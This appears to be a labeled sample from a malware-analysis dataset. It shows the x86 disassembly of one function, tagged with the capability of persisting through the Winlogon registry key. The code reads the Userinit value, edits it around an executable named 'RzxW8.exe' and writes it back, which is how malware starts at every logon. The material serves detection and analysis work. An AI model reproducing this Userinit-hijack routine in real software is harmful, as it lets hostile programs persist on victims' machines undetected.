Function at 0x405960
Capabilities:
Persist via winlogon helper dll registry key

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x530deb
mov eax, dword fs:[0]
push eax
mov eax, 0x2414
call fcn.005070d0
mov eax, dword [0x656c90]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
call fcn.0052257c
cmp eax, 7
jne 0x405bda
push 1
lea ecx, [ebp - 0x2418]
call fcn.0052220a
xor ebx, ebx
push 0xfff
lea eax, [ebp - 0x140f]
push ebx
push eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0x241c], 0x1000
mov byte [ebp - 0x1410], bl
call fcn.00506060
push 0xfff
lea ecx, [ebp - 0x240f]
push ebx
push ecx
mov byte [ebp - 0x2410], bl
call fcn.00506060
add esp, 0x18
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon
push reloc.OLEAUT32.dll_SysReAllocString
lea ecx, [ebp - 0x2418]
call fcn.005223f6
lea ecx, [ebp - 0x2418]
test eax, eax
je 0x405bce
lea edx, [ebp - 0x241c]
push edx
lea eax, [ebp - 0x1410]
push eax
push str.Userinit
call fcn.00522389
test eax, eax
je 0x405bbd
lea ecx, [ebp - 0x1410]
push str.RzxW8.exe
push ecx
call fcn.005060e0
mov esi, eax
add esp, 8
cmp esi, ebx
je 0x405bbd
push 0x3ff
lea edx, [ebp - 0x40f]
push ebx
push edx
mov byte [ebp - 0x410], bl
call fcn.00506060
lea eax, [ebp - 0x410]
push eax
call fcn.00520038
lea eax, [ebp - 0x410]
add esp, 0x10
dec eax
mov edi, edi
mov cl, byte [eax + 1]
inc eax
cmp cl, bl
jne 0x405a80
mov ecx, dword [str.RzxW8.exe_]
mov edx, dword [0x540850]
mov dword [eax], ecx
mov cx, word [0x540854]
mov dword [eax + 4], edx
mov dl, byte [0x540856]
mov word [eax + 8], cx
mov byte [eax + 0xa], dl
add esi, 0xa
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x405ab5
sub eax, edx
jne 0x405af5
lea eax, [ebp - 0x410]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x405ad0
mov ecx, dword [ebp - 0x241c]
sub eax, edx
push eax
sub ecx, eax
lea edx, [ebp + ecx - 0x1411]
push ebx
push edx
call fcn.00506060
jmp 0x405ba3
mov eax, esi
lea edx, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x405b00
sub eax, edx
push eax
lea eax, [ebp - 0x2410]
push esi
push eax
call fcn.00506550
lea eax, [ebp - 0x410]
add esp, 0xc
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x405b23
sub eax, edx
mov ecx, eax
mov eax, esi
lea edi, [eax + 1]
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x405b33
sub eax, edi
mov edi, eax
mov eax, esi
lea esi, [eax + 1]
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x405b43
mov edx, dword [ebp - 0x241c]
sub eax, esi
sub edx, eax
add edi, ecx
push edi
sub edx, ecx
lea eax, [ebp + edx - 0x1411]
push ebx
push eax
call fcn.00506060
lea eax, [ebp - 0x2410]
add esp, 0xc
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x405b73
lea ecx, [ebp - 0x1410]
sub eax, edx
lea esi, [ecx + 1]
mov dl, byte [ecx]
inc ecx
cmp dl, bl
jne 0x405b85
push eax
sub ecx, esi
lea edx, [ebp - 0x2410]
push edx
lea eax, [ebp + ecx - 0x1410]
push eax
call fcn.00506550
add esp, 0xc
lea ecx, [ebp - 0x1410]
push ecx
push str.Userinit
lea ecx, [ebp - 0x2418]
call fcn.00522268
lea ecx, [ebp - 0x2418]
call fcn.005223d7
lea ecx, [ebp - 0x2418]
mov dword [ebp - 4], 0xffffffff
call fcn.005223f1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00506042
mov esp, ebp
pop ebp
ret